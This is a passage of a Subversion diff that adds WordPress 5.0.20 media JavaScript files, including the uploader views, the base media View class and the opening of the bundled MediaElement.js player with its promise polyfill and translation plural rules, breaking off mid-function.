+		// Run remove on `dispose`, so we can be sure to refresh the
+		// uploader with a view-less DOM. Track whether we're disposing
+		// so we don't trigger an infinite loop.
+		this.disposing = true;
+		return this.remove();
+	},
+	/**
+	 * @returns {wp.media.view.UploaderInline} Returns itself to allow chaining
+	 */
+	remove: function() {
+		/**
+		 * call 'remove' directly on the parent class
+		 */
+		var result = View.prototype.remove.apply( this, arguments );
+
+		_.defer( _.bind( this.refresh, this ) );
+		return result;
+	},
+
+	refresh: function() {
+		var uploader = this.controller.uploader;
+
+		if ( uploader ) {
+			uploader.refresh();
+		}
+	},
+	/**
+	 * @returns {wp.media.view.UploaderInline}
+	 */
+	ready: function() {
+		var $browser = this.options.$browser,
+			$placeholder;
+
+		if ( this.controller.uploader ) {
+			$placeholder = this.$('.browser');
+
+			// Check if we've already replaced the placeholder.
+			if ( $placeholder[0] === $browser[0] ) {
+				return;
+			}
+
+			$browser.detach().text( $placeholder.text() );
+			$browser[0].className = $placeholder[0].className;
+			$placeholder.replaceWith( $browser.show() );
+		}
+
+		this.refresh();
+		return this;
+	},
+	show: function() {
+		this.$el.removeClass( 'hidden' );
+		if ( this.controller.$uploaderToggler && this.controller.$uploaderToggler.length ) {
+			this.controller.$uploaderToggler.attr( 'aria-expanded', 'true' );
+		}
+	},
+	hide: function() {
+		this.$el.addClass( 'hidden' );
+		if ( this.controller.$uploaderToggler && this.controller.$uploaderToggler.length ) {
+			this.controller.$uploaderToggler
+				.attr( 'aria-expanded', 'false' )
+				// Move focus back to the toggle button when closing the uploader.
+				.focus();
+		}
+	}
+
+});
+
+module.exports = UploaderInline;
Index: /tags/5.0.20/src/wp-includes/js/media/views/uploader/status-error.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/media/views/uploader/status-error.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/media/views/uploader/status-error.js	(revision 56912)
@@ -0,0 +1,16 @@
+/**
+ * wp.media.view.UploaderStatusError
+ *
+ * @memberOf wp.media.view
+ *
+ * @class
+ * @augments wp.media.View
+ * @augments wp.Backbone.View
+ * @augments Backbone.View
+ */
+var UploaderStatusError = wp.media.View.extend(/** @lends wp.media.view.UploaderStatusError.prototype */{
+	className: 'upload-error',
+	template:  wp.template('uploader-status-error')
+});
+
+module.exports = UploaderStatusError;
Index: /tags/5.0.20/src/wp-includes/js/media/views/uploader/status.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/media/views/uploader/status.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/media/views/uploader/status.js	(revision 56912)
@@ -0,0 +1,135 @@
+var View = wp.media.View,
+	UploaderStatus;
+
+/**
+ * wp.media.view.UploaderStatus
+ *
+ * An uploader status for on-going uploads.
+ *
+ * @memberOf wp.media.view
+ *
+ * @class
+ * @augments wp.media.View
+ * @augments wp.Backbone.View
+ * @augments Backbone.View
+ */
+UploaderStatus = View.extend(/** @lends wp.media.view.UploaderStatus.prototype */{
+	className: 'media-uploader-status',
+	template:  wp.template('uploader-status'),
+
+	events: {
+		'click .upload-dismiss-errors': 'dismiss'
+	},
+
+	initialize: function() {
+		this.queue = wp.Uploader.queue;
+		this.queue.on( 'add remove reset', this.visibility, this );
+		this.queue.on( 'add remove reset change:percent', this.progress, this );
+		this.queue.on( 'add remove reset change:uploading', this.info, this );
+
+		this.errors = wp.Uploader.errors;
+		this.errors.reset();
+		this.errors.on( 'add remove reset', this.visibility, this );
+		this.errors.on( 'add', this.error, this );
+	},
+	/**
+	 * @returns {wp.media.view.UploaderStatus}
+	 */
+	dispose: function() {
+		wp.Uploader.queue.off( null, null, this );
+		/**
+		 * call 'dispose' directly on the parent class
+		 */
+		View.prototype.dispose.apply( this, arguments );
+		return this;
+	},
+
+	visibility: function() {
+		this.$el.toggleClass( 'uploading', !! this.queue.length );
+		this.$el.toggleClass( 'errors', !! this.errors.length );
+		this.$el.toggle( !! this.queue.length || !! this.errors.length );
+	},
+
+	ready: function() {
+		_.each({
+			'$bar':      '.media-progress-bar div',
+			'$index':    '.upload-index',
+			'$total':    '.upload-total',
+			'$filename': '.upload-filename'
+		}, function( selector, key ) {
+			this[ key ] = this.$( selector );
+		}, this );
+
+		this.visibility();
+		this.progress();
+		this.info();
+	},
+
+	progress: function() {
+		var queue = this.queue,
+			$bar = this.$bar;
+
+		if ( ! $bar || ! queue.length ) {
+			return;
+		}
+
+		$bar.width( ( queue.reduce( function( memo, attachment ) {
+			if ( ! attachment.get('uploading') ) {
+				return memo + 100;
+			}
+
+			var percent = attachment.get('percent');
+			return memo + ( _.isNumber( percent ) ? percent : 100 );
+		}, 0 ) / queue.length ) + '%' );
+	},
+
+	info: function() {
+		var queue = this.queue,
+			index = 0, active;
+
+		if ( ! queue.length ) {
+			return;
+		}
+
+		active = this.queue.find( function( attachment, i ) {
+			index = i;
+			return attachment.get('uploading');
+		});
+
+		this.$index.text( index + 1 );
+		this.$total.text( queue.length );
+		this.$filename.html( active ? this.filename( active.get('filename') ) : '' );
+	},
+	/**
+	 * @param {string} filename
+	 * @returns {string}
+	 */
+	filename: function( filename ) {
+		return _.escape( filename );
+	},
+	/**
+	 * @param {Backbone.Model} error
+	 */
+	error: function( error ) {
+		this.views.add( '.upload-errors', new wp.media.view.UploaderStatusError({
+			filename: this.filename( error.get('file').name ),
+			message:  error.get('message')
+		}), { at: 0 });
+	},
+
+	/**
+	 * @param {Object} event
+	 */
+	dismiss: function( event ) {
+		var errors = this.views.get('.upload-errors');
+
+		event.preventDefault();
+
+		if ( errors ) {
+			_.invoke( errors, 'remove' );
+		}
+		wp.Uploader.errors.reset();
+	}
+});
+
+module.exports = UploaderStatus;
Index: /tags/5.0.20/src/wp-includes/js/media/views/uploader/window.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/media/views/uploader/window.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/media/views/uploader/window.js	(revision 56912)
@@ -0,0 +1,111 @@
+var $ = jQuery,
+	UploaderWindow;
+
+/**
+ * wp.media.view.UploaderWindow
+ *
+ * An uploader window that allows for dragging and dropping media.
+ *
+ * @memberOf wp.media.view
+ *
+ * @class
+ * @augments wp.media.View
+ * @augments wp.Backbone.View
+ * @augments Backbone.View
+ *
+ * @param {object} [options]                   Options hash passed to the view.
+ * @param {object} [options.uploader]          Uploader properties.
+ * @param {jQuery} [options.uploader.browser]
+ * @param {jQuery} [options.uploader.dropzone] jQuery collection of the dropzone.
+ * @param {object} [options.uploader.params]
+ */
+UploaderWindow = wp.media.View.extend(/** @lends wp.media.view.UploaderWindow.prototype */{
+	tagName:   'div',
+	className: 'uploader-window',
+	template:  wp.template('uploader-window'),
+
+	initialize: function() {
+		var uploader;
+
+		this.$browser = $( '<button type="button" class="browser" />' ).hide().appendTo( 'body' );
+
+		uploader = this.options.uploader = _.defaults( this.options.uploader || {}, {
+			dropzone:  this.$el,
+			browser:   this.$browser,
+			params:    {}
+		});
+
+		// Ensure the dropzone is a jQuery collection.
+		if ( uploader.dropzone && ! (uploader.dropzone instanceof $) ) {
+			uploader.dropzone = $( uploader.dropzone );
+		}
+
+		this.controller.on( 'activate', this.refresh, this );
+
+		this.controller.on( 'detach', function() {
+			this.$browser.remove();
+		}, this );
+	},
+
+	refresh: function() {
+		if ( this.uploader ) {
+			this.uploader.refresh();
+		}
+	},
+
+	ready: function() {
+		var postId = wp.media.view.settings.post.id,
+			dropzone;
+
+		// If the uploader already exists, bail.
+		if ( this.uploader ) {
+			return;
+		}
+
+		if ( postId ) {
+			this.options.uploader.params.post_id = postId;
+		}
+		this.uploader = new wp.Uploader( this.options.uploader );
+
+		dropzone = this.uploader.dropzone;
+		dropzone.on( 'dropzone:enter', _.bind( this.show, this ) );
+		dropzone.on( 'dropzone:leave', _.bind( this.hide, this ) );
+
+		$( this.uploader ).on( 'uploader:ready', _.bind( this._ready, this ) );
+	},
+
+	_ready: function() {
+		this.controller.trigger( 'uploader:ready' );
+	},
+
+	show: function() {
+		var $el = this.$el.show();
+
+		// Ensure that the animation is triggered by waiting until
+		// the transparent element is painted into the DOM.
+		_.defer( function() {
+			$el.css({ opacity: 1 });
+		});
+	},
+
+	hide: function() {
+		var $el = this.$el.css({ opacity: 0 });
+
+		wp.media.transition( $el ).done( function() {
+			// Transition end events are subject to race conditions.
+			// Make sure that the value is set as intended.
+			if ( '0' === $el.css('opacity') ) {
+				$el.hide();
+			}
+		});
+
+		// https://core.trac.wordpress.org/ticket/27341
+		_.delay( function() {
+			if ( '0' === $el.css('opacity') && $el.is(':visible') ) {
+				$el.hide();
+			}
+		}, 500 );
+	}
+});
+
+module.exports = UploaderWindow;
Index: /tags/5.0.20/src/wp-includes/js/media/views/video-details.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/media/views/video-details.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/media/views/video-details.js	(revision 56912)
@@ -0,0 +1,43 @@
+var MediaDetails = wp.media.view.MediaDetails,
+	VideoDetails;
+
+/**
+ * wp.media.view.VideoDetails
+ *
+ * @memberOf wp.media.view
+ *
+ * @class
+ * @augments wp.media.view.MediaDetails
+ * @augments wp.media.view.Settings.AttachmentDisplay
+ * @augments wp.media.view.Settings
+ * @augments wp.media.View
+ * @augments wp.Backbone.View
+ * @augments Backbone.View
+ */
+VideoDetails = MediaDetails.extend(/** @lends wp.media.view.VideoDetails.prototype */{
+	className: 'video-details',
+	template:  wp.template('video-details'),
+
+	setMedia: function() {
+		var video = this.$('.wp-video-shortcode');
+
+		if ( video.find( 'source' ).length ) {
+			if ( video.is(':hidden') ) {
+				video.show();
+			}
+
+			if ( ! video.hasClass( 'youtube-video' ) && ! video.hasClass( 'vimeo-video' ) ) {
+				this.media = MediaDetails.prepareSrc( video.get(0) );
+			} else {
+				this.media = video.get(0);
+			}
+		} else {
+			video.hide();
+			this.media = false;
+		}
+
+		return this;
+	}
+});
+
+module.exports = VideoDetails;
Index: /tags/5.0.20/src/wp-includes/js/media/views/view.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/media/views/view.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/media/views/view.js	(revision 56912)
@@ -0,0 +1,66 @@
+/**
+ * wp.media.View
+ *
+ * The base view class for media.
+ *
+ * Undelegating events, removing events from the model, and
+ * removing events from the controller mirror the code for
+ * `Backbone.View.dispose` in Backbone 0.9.8 development.
+ *
+ * This behavior has since been removed, and should not be used
+ * outside of the media manager.
+ *
+ * @memberOf wp.media
+ *
+ * @class
+ * @augments wp.Backbone.View
+ * @augments Backbone.View
+ */
+var View = wp.Backbone.View.extend(/** @lends wp.media.View.prototype */{
+	constructor: function( options ) {
+		if ( options && options.controller ) {
+			this.controller = options.controller;
+		}
+		wp.Backbone.View.apply( this, arguments );
+	},
+	/**
+	 * @todo The internal comment mentions this might have been a stop-gap
+	 *       before Backbone 0.9.8 came out. Figure out if Backbone core takes
+	 *       care of this in Backbone.View now.
+	 *
+	 * @returns {wp.media.View} Returns itself to allow chaining
+	 */
+	dispose: function() {
+		// Undelegating events, removing events from the model, and
+		// removing events from the controller mirror the code for
+		// `Backbone.View.dispose` in Backbone 0.9.8 development.
+		this.undelegateEvents();
+
+		if ( this.model && this.model.off ) {
+			this.model.off( null, null, this );
+		}
+
+		if ( this.collection && this.collection.off ) {
+			this.collection.off( null, null, this );
+		}
+
+		// Unbind controller events.
+		if ( this.controller && this.controller.off ) {
+			this.controller.off( null, null, this );
+		}
+
+		return this;
+	},
+	/**
+	 * @returns {wp.media.View} Returns itself to allow chaining
+	 */
+	remove: function() {
+		this.dispose();
+		/**
+		 * call 'remove' directly on the parent class
+		 */
+		return wp.Backbone.View.prototype.remove.apply( this, arguments );
+	}
+});
+
+module.exports = View;
Index: /tags/5.0.20/src/wp-includes/js/mediaelement/mediaelement-and-player.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/mediaelement/mediaelement-and-player.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/mediaelement/mediaelement-and-player.js	(revision 56912)
@@ -0,0 +1,8474 @@
+/*!
+ * MediaElement.js
+ * http://www.mediaelementjs.com/
+ *
+ * Wrapper that mimics native HTML5 MediaElement (audio and video)
+ * using a variety of technologies (pure JavaScript, Flash, iframe)
+ *
+ * Copyright 2010-2017, John Dyer (http://j.hn/)
+ * License: MIT
+ *
+ */(function e(t,n,r){function s(o,u){if(!n[o]){if(!t[o]){var a=typeof require=="function"&&require;if(!u&&a)return a(o,!0);if(i)return i(o,!0);var f=new Error("Cannot find module '"+o+"'");throw f.code="MODULE_NOT_FOUND",f}var l=n[o]={exports:{}};t[o][0].call(l.exports,function(e){var n=t[o][1][e];return s(n?n:e)},l,l.exports,e,t,n,r)}return n[o].exports}var i=typeof require=="function"&&require;for(var o=0;o<r.length;o++)s(r[o]);return s})({1:[function(_dereq_,module,exports){
+
+},{}],2:[function(_dereq_,module,exports){
+(function (global){
+var topLevel = typeof global !== 'undefined' ? global :
+    typeof window !== 'undefined' ? window : {}
+var minDoc = _dereq_(1);
+
+var doccy;
+
+if (typeof document !== 'undefined') {
+    doccy = document;
+} else {
+    doccy = topLevel['__GLOBAL_DOCUMENT_CACHE@4'];
+
+    if (!doccy) {
+        doccy = topLevel['__GLOBAL_DOCUMENT_CACHE@4'] = minDoc;
+    }
+}
+
+module.exports = doccy;
+
+}).call(this,typeof global !== "undefined" ? global : typeof self !== "undefined" ? self : typeof window !== "undefined" ? window : {})
+},{"1":1}],3:[function(_dereq_,module,exports){
+(function (global){
+var win;
+
+if (typeof window !== "undefined") {
+    win = window;
+} else if (typeof global !== "undefined") {
+    win = global;
+} else if (typeof self !== "undefined"){
+    win = self;
+} else {
+    win = {};
+}
+
+module.exports = win;
+
+}).call(this,typeof global !== "undefined" ? global : typeof self !== "undefined" ? self : typeof window !== "undefined" ? window : {})
+},{}],4:[function(_dereq_,module,exports){
+(function (root) {
+
+  // Store setTimeout reference so promise-polyfill will be unaffected by
+  // other code modifying setTimeout (like sinon.useFakeTimers())
+  var setTimeoutFunc = setTimeout;
+
+  function noop() {}
+  
+  // Polyfill for Function.prototype.bind
+  function bind(fn, thisArg) {
+    return function () {
+      fn.apply(thisArg, arguments);
+    };
+  }
+
+  function Promise(fn) {
+    if (typeof this !== 'object') throw new TypeError('Promises must be constructed via new');
+    if (typeof fn !== 'function') throw new TypeError('not a function');
+    this._state = 0;
+    this._handled = false;
+    this._value = undefined;
+    this._deferreds = [];
+
+    doResolve(fn, this);
+  }
+
+  function handle(self, deferred) {
+    while (self._state === 3) {
+      self = self._value;
+    }
+    if (self._state === 0) {
+      self._deferreds.push(deferred);
+      return;
+    }
+    self._handled = true;
+    Promise._immediateFn(function () {
+      var cb = self._state === 1 ? deferred.onFulfilled : deferred.onRejected;
+      if (cb === null) {
+        (self._state === 1 ? resolve : reject)(deferred.promise, self._value);
+        return;
+      }
+      var ret;
+      try {
+        ret = cb(self._value);
+      } catch (e) {
+        reject(deferred.promise, e);
+        return;
+      }
+      resolve(deferred.promise, ret);
+    });
+  }
+
+  function resolve(self, newValue) {
+    try {
+      // Promise Resolution Procedure: https://github.com/promises-aplus/promises-spec#the-promise-resolution-procedure
+      if (newValue === self) throw new TypeError('A promise cannot be resolved with itself.');
+      if (newValue && (typeof newValue === 'object' || typeof newValue === 'function')) {
+        var then = newValue.then;
+        if (newValue instanceof Promise) {
+          self._state = 3;
+          self._value = newValue;
+          finale(self);
+          return;
+        } else if (typeof then === 'function') {
+          doResolve(bind(then, newValue), self);
+          return;
+        }
+      }
+      self._state = 1;
+      self._value = newValue;
+      finale(self);
+    } catch (e) {
+      reject(self, e);
+    }
+  }
+
+  function reject(self, newValue) {
+    self._state = 2;
+    self._value = newValue;
+    finale(self);
+  }
+
+  function finale(self) {
+    if (self._state === 2 && self._deferreds.length === 0) {
+      Promise._immediateFn(function() {
+        if (!self._handled) {
+          Promise._unhandledRejectionFn(self._value);
+        }
+      });
+    }
+
+    for (var i = 0, len = self._deferreds.length; i < len; i++) {
+      handle(self, self._deferreds[i]);
+    }
+    self._deferreds = null;
+  }
+
+  function Handler(onFulfilled, onRejected, promise) {
+    this.onFulfilled = typeof onFulfilled === 'function' ? onFulfilled : null;
+    this.onRejected = typeof onRejected === 'function' ? onRejected : null;
+    this.promise = promise;
+  }
+
+  /**
+   * Take a potentially misbehaving resolver function and make sure
+   * onFulfilled and onRejected are only called once.
+   *
+   * Makes no guarantees about asynchrony.
+   */
+  function doResolve(fn, self) {
+    var done = false;
+    try {
+      fn(function (value) {
+        if (done) return;
+        done = true;
+        resolve(self, value);
+      }, function (reason) {
+        if (done) return;
+        done = true;
+        reject(self, reason);
+      });
+    } catch (ex) {
+      if (done) return;
+      done = true;
+      reject(self, ex);
+    }
+  }
+
+  Promise.prototype['catch'] = function (onRejected) {
+    return this.then(null, onRejected);
+  };
+
+  Promise.prototype.then = function (onFulfilled, onRejected) {
+    var prom = new (this.constructor)(noop);
+
+    handle(this, new Handler(onFulfilled, onRejected, prom));
+    return prom;
+  };
+
+  Promise.all = function (arr) {
+    var args = Array.prototype.slice.call(arr);
+
+    return new Promise(function (resolve, reject) {
+      if (args.length === 0) return resolve([]);
+      var remaining = args.length;
+
+      function res(i, val) {
+        try {
+          if (val && (typeof val === 'object' || typeof val === 'function')) {
+            var then = val.then;
+            if (typeof then === 'function') {
+              then.call(val, function (val) {
+                res(i, val);
+              }, reject);
+              return;
+            }
+          }
+          args[i] = val;
+          if (--remaining === 0) {
+            resolve(args);
+          }
+        } catch (ex) {
+          reject(ex);
+        }
+      }
+
+      for (var i = 0; i < args.length; i++) {
+        res(i, args[i]);
+      }
+    });
+  };
+
+  Promise.resolve = function (value) {
+    if (value && typeof value === 'object' && value.constructor === Promise) {
+      return value;
+    }
+
+    return new Promise(function (resolve) {
+      resolve(value);
+    });
+  };
+
+  Promise.reject = function (value) {
+    return new Promise(function (resolve, reject) {
+      reject(value);
+    });
+  };
+
+  Promise.race = function (values) {
+    return new Promise(function (resolve, reject) {
+      for (var i = 0, len = values.length; i < len; i++) {
+        values[i].then(resolve, reject);
+      }
+    });
+  };
+
+  // Use polyfill for setImmediate for performance gains
+  Promise._immediateFn = (typeof setImmediate === 'function' && function (fn) { setImmediate(fn); }) ||
+    function (fn) {
+      setTimeoutFunc(fn, 0);
+    };
+
+  Promise._unhandledRejectionFn = function _unhandledRejectionFn(err) {
+    if (typeof console !== 'undefined' && console) {
+      console.warn('Possible Unhandled Promise Rejection:', err); // eslint-disable-line no-console
+    }
+  };
+
+  /**
+   * Set the immediate function to execute callbacks
+   * @param fn {function} Function to execute
+   * @deprecated
+   */
+  Promise._setImmediateFn = function _setImmediateFn(fn) {
+    Promise._immediateFn = fn;
+  };
+
+  /**
+   * Change the function to execute on unhandled rejection
+   * @param {function} fn Function to execute on unhandled rejection
+   * @deprecated
+   */
+  Promise._setUnhandledRejectionFn = function _setUnhandledRejectionFn(fn) {
+    Promise._unhandledRejectionFn = fn;
+  };
+  
+  if (typeof module !== 'undefined' && module.exports) {
+    module.exports = Promise;
+  } else if (!root.Promise) {
+    root.Promise = Promise;
+  }
+
+})(this);
+
+},{}],5:[function(_dereq_,module,exports){
+'use strict';
+
+Object.defineProperty(exports, "__esModule", {
+	value: true
+});
+
+var _typeof = typeof Symbol === "function" && typeof Symbol.iterator === "symbol" ? function (obj) { return typeof obj; } : function (obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; };
+
+var _mejs = _dereq_(7);
+
+var _mejs2 = _interopRequireDefault(_mejs);
+
+var _en = _dereq_(15);
+
+var _general = _dereq_(27);
+
+function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
+
+var i18n = { lang: 'en', en: _en.EN };
+
+i18n.language = function () {
+	for (var _len = arguments.length, args = Array(_len), _key = 0; _key < _len; _key++) {
+		args[_key] = arguments[_key];
+	}
+
+	if (args !== null && args !== undefined && args.length) {
+
+		if (typeof args[0] !== 'string') {
+			throw new TypeError('Language code must be a string value');
+		}
+
+		if (!/^[a-z]{2,3}((\-|_)[a-z]{2})?$/i.test(args[0])) {
+			throw new TypeError('Language code must have format 2-3 letters and. optionally, hyphen, underscore followed by 2 more letters');
+		}
+
+		i18n.lang = args[0];
+
+		if (i18n[args[0]] === undefined) {
+			args[1] = args[1] !== null && args[1] !== undefined && _typeof(args[1]) === 'object' ? args[1] : {};
+			i18n[args[0]] = !(0, _general.isObjectEmpty)(args[1]) ? args[1] : _en.EN;
+		} else if (args[1] !== null && args[1] !== undefined && _typeof(args[1]) === 'object') {
+			i18n[args[0]] = args[1];
+		}
+	}
+
+	return i18n.lang;
+};
+
+i18n.t = function (message) {
+	var pluralParam = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : null;
+
+
+	if (typeof message === 'string' && message.length) {
+
+		var str = void 0,
+		    pluralForm = void 0;
+
+		var language = i18n.language();
+
+		var _plural = function _plural(input, number, form) {
+
+			if ((typeof input === 'undefined' ? 'undefined' : _typeof(input)) !== 'object' || typeof number !== 'number' || typeof form !== 'number') {
+				return input;
+			}
+
+			var _pluralForms = function () {
+				return [function () {
+					return arguments.length <= 1 ? undefined : arguments[1];
+				}, function () {
+					return (arguments.length <= 0 ? undefined : arguments[0]) === 1 ? arguments.length <= 1 ? undefined : arguments[1] : arguments.length <= 2 ? undefined : arguments[2];
+				}, function () {
+					return (arguments.length <= 0 ? undefined : arguments[0]) === 0 || (arguments.length <= 0 ? undefined : arguments[0]) === 1 ? arguments.length <= 1 ? undefined : arguments[1] : arguments.length <= 2 ? undefined : arguments[2];
+				}, function () {
+					if ((arguments.length <= 0 ? undefined : arguments[0]) % 10 === 1 && (arguments.length <= 0 ? undefined : arguments[0]) % 100 !== 11) {
+						return arguments.length <= 1 ? undefined : arguments[1];
+					} else if ((arguments.length <= 0 ? undefined : arguments[0]) !== 0) {
+						return arguments.length <= 2 ? undefined : arguments[2];
+					} else {
+						return arguments.length <= 3 ? undefined : arguments[3];
+					}
+				}, function () {
+					if ((arguments.length <= 0 ? undefined : arguments[0]) === 1 || (arguments.length <= 0 ? undefined : arguments[0]) === 11) {
+						return arguments.length <= 1 ? undefined : arguments[1];
+					} else if ((arguments.length <= 0 ? undefined : arguments[0]) === 2 || (arguments.length <= 0 ? undefined : arguments[0]) === 12) {
+						return arguments.length <= 2 ? undefined : arguments[2];
+					} else if ((arguments.length <= 0 ? undefined : arguments[0]) > 2 && (arguments.length <= 0 ? undefined : arguments[0]) < 20) {
+						return arguments.length <= 3 ? undefined : arguments[3];
+					} else {
+						return arguments.length <= 4 ? undefined : arguments[4];
+					}
+				}, function () {
+					if ((arguments.length <= 0 ? undefined : arguments[0]) === 1) {
+						return arguments.length <= 1 ? undefined : arguments[1];
+					} else if ((arguments.length <= 0 ? undefined : arguments[0]) === 0 || (arguments.length <= 0 ? undefined : arguments[0]) % 100 > 0 && (arguments.length <= 0 ? undefined : arguments[0]) % 100 < 20) {
+						return arguments.length <= 2 ? undefined : arguments[2];
+					} else {
+						return arguments.length <= 3 ? undefined : arguments[3];
+					}
+				}, function () {
+					if ((arguments.length <= 0 ? undefined : arguments[0]) % 10 === 1 && (arguments.length <= 0 ? undefined : arguments[0]) % 100 !== 11) {
+						return arguments.length <= 1 ? undefined : arguments[1];
+					} else if ((arguments.length <= 0 ? undefined : arguments[0]) % 10 >= 2 && ((arguments.length <= 0 ? undefined : arguments[0]) % 100 < 10 || (arguments.length <= 0 ? undefined : arguments[0]) % 100 >= 20)) {
+						return arguments.length <= 2 ? undefined : arguments[2];
+					} else {
+						return [3];
+					}
+				}, function () {
+					if ((arguments.length <= 0 ? undefined : arguments[0]) % 10 === 1 && (arguments.length <= 0 ? undefined : arguments[0]) % 100 !== 11) {
+						return arguments.length <= 1 ? undefined : arguments[1];
+					} else if ((arguments.length <= 0 ? undefined : arguments[0]) % 10 >= 2 && (arguments.length <= 0 ? undefined : arguments[0]) % 10 <= 4 && ((arguments.length <= 0 ? undefined : arguments[0]) % 100 < 10 || (arguments.length <= 0 ? undefined : arguments[0]) % 100 >= 20)) {
+						return arguments.length <= 2 ? undefined : arguments[2];
+					} else {
+						return arguments.length <= 3 ? undefined : arguments[3];
+					}
+				}, function () {
+					if ((arguments.length <= 0 ? undefined : arguments[0]) === 1) {
+						return arguments.length <= 1 ? undefined : arguments[1];
+					} else if ((arguments.length <= 0 ? undefined : arguments[0]) >= 2 && (arguments.length <= 0 ? undefined : arguments[0]) <= 4) {
+						return arguments.length <= 2 ? undefined : arguments[2];
+					} else {
+						return arguments.length <= 3 ? undefined : arguments[3];
+					}
+				}, function () {
+					if ((arguments.length <= 0 ? undefined : arguments[0]) === 1) {
+						return arguments.length <= 1 ? undefined : arguments[1];
+					} else if ((arguments.length <= 0 ? undefined : arguments[0]) % 10 >= 2 && (arguments.length <= 0 ? undefined : arguments[0]) % 10 <= 4 && ((arguments.length <= 0 ? undefined : arguments[0]) % 100 < 10 || (arguments.length <= 0 ? undefined : arguments[0]) % 100 >= 20)) {
+						return arguments.length <= 2 ? undefined : arguments[2];
+					} else {
+						return arguments.length <= 3 ? undefined : arguments[3];
+					}
+				}, function () {
+					if ((arguments.length <= 0 ? undefined : arguments[0]) % 100 === 1) {
+						return arguments.length <= 2 ? undefined : arguments[2];
+					} else if ((arguments.length <= 0 ? undefined : arguments[0]) % 100 === 2) {
+						return arguments.length <= 3 ? undefined : arguments[3];
+					} else if ((arguments.length <= 0 ? undefined : arguments[0]) % 100 === 3 || (arguments.length <= 0 ? undefined : arguments[0]) % 100 === 4) {
+						return arguments.length <= 4 ? undefined : arguments[4];
+					} else {
+						return arguments.length <= 1 ? undefined : arguments[1];
+					}
+				}, function () {
+					if ((arguments.length <= 0 ? undefined : arguments[0]) === 1) {
+						return arguments.length <= 1 ? undefined : arguments[1];
+					} else if ((arguments.length <= 0 ? undefined : arguments[0]) === 2) {
+						return arguments.length <= 2 ? undefined : arguments[2];
+					} else if ((arguments.length <= 0 ? undefined : arguments[0]) > 2 && (arguments.length <= 0 ? undefined : arguments[0]) < 7) {
+						return arguments.length <= 3 ? undefined : arguments[3];
+					} else if ((arguments.length <= 0 ? undefined : arguments[0]) > 6 && (arguments.length <= 0 ? undefined : arguments[0]) < 11) {
+						return arguments.length <= 4 ? undefined : arguments[4];
+					} else {
+						return arguments.length <= 5 ? undefined : arguments[5];
+					}
+				}, function () {
+					if ((arguments.length <= 0 ? undefined : arguments[0]) === 0) {
+						return arguments.length <= 1 ? undefined : arguments[1];
+					} else if ((arguments.length <= 0 ? undefined : arguments[0]) === 1) {
+						return arguments.length <= 2 ? undefined : arguments[2];
+					} else if ((arguments.length <= 0 ? undefined : arguments[0]) === 2) {
+						return arguments.length <= 3 ? undefined : arguments[3];
+					} else if ((arguments.length <= 0 ? undefined : arguments[0]) % 100 >= 3 && (arguments.length <= 0 ? undefined : arguments[0]) % 100 <= 10) {
+						return arguments.length <= 4 ? undefined : arguments[4];
+					} else if ((arguments.length <= 0 ? undefined : arguments[0]) % 100 >= 11) {
+						return arguments.length <= 5 ? undefined : arguments[5];
+					} else {
+						return arguments.length <= 6 ? undefined : arguments[6];
+					}
+				}, function () {
+					if ((arguments.length <= 0 ? undefined : arguments[0]) === 1) {
+						return arguments.length <= 1 ? undefined : arguments[1];
+					} else if ((arguments.length <= 0 ? undefined : arguments[0]) === 0 || (arguments.length <= 0 ? undefined : arguments[0]) % 100 > 1 && (arguments.length <= 0 ? undefined : arguments[0]) % 100 < 11) {
+						return arguments.length <= 2 ? undefined : arguments[2];
+					} else if ((arguments.length <= 0 ? undefined : arguments[0]) % 100 > 10 && (arguments.length <= 0 ? undefined : arguments[0]) % 100 < 20) {
+						return arguments.length <= 3 ? undefined : arguments[3];
+					} else {
+						return arguments.length <= 4 ? undefined : arguments[4];
+					}
+				}, function () {
+					if ((arguments.length <= 0 ? undefined : arguments[0]) % 10 === 1) {
+						return arguments.length <= 1 ? undefined : arguments[1];
+					} else if ((arguments.length <= 0 ? undefined : arguments[0]) % 10 === 2) {
+						return arguments.length <= 2 ? undefined : arguments[2];
+					} else {
+						return arguments.length <= 3 ? undefined : arguments[3];
+					}
+				}, function () {
+					return (arguments.length <= 0 ? undefined : arguments[0]) !== 11 && (arguments.length <= 0 ? undefined : arguments[0]) % 10 === 1 ? arguments.length <= 1 ? undefined : arguments[1] : arguments.length <= 2 ? undefined : arguments[2];
+				}, function () {
+					if ((arguments.length <= 0 ? undefined : arguments[0]) === 1) {
+						return arguments.length <= 1 ? undefined : arguments[1];
+					} else if ((arguments.length <= 0 ? undefined : arguments[0]) % 10 >= 2 && (arguments.length <= 0 ? undefined : arguments[0]) % 10 <= 4 && ((arguments.length <= 0 ? undefined : arguments[0]) % 100 < 10 || (arguments.length <= 0 ? undefined : arguments[0]) % 100 >= 20)) {
+						return arguments.length <= 2 ? undefined : arguments[2];
+					} else {
+						return arguments.length <= 3 ? undefined : arguments[3];
+					}
+				}, function () {
+					if ((arguments.length <= 0 ? undefined : arguments[0]) === 1) {
+						return arguments.length <= 1 ? undefined : arguments[1];
+					} else if ((arguments.length <= 0 ? undefined : arguments[0]) === 2) {
+						return arguments.length <= 2 ? undefined : arguments[2];
+					} else if ((arguments.length <= 0 ? undefined : arguments[0]) !== 8 && (arguments.length <= 0 ? undefined : arguments[0]) !== 11) {
+						return arguments.length <= 3 ? undefined : arguments[3];
+					} else {
+						return arguments.length <= 4 ? undefined : arguments[4];
+					}
+				}, function () {
+					return (arguments.length <= 0 ? undefined : arguments[0]) === 0 ? arguments.length <= 1 ? undefined : arguments[1] : arguments.length <= 2 ? undefined : arguments[2];
+				}, function () {
+					if ((arguments.length <= 0 ? undefined : arguments[0]) === 1) {
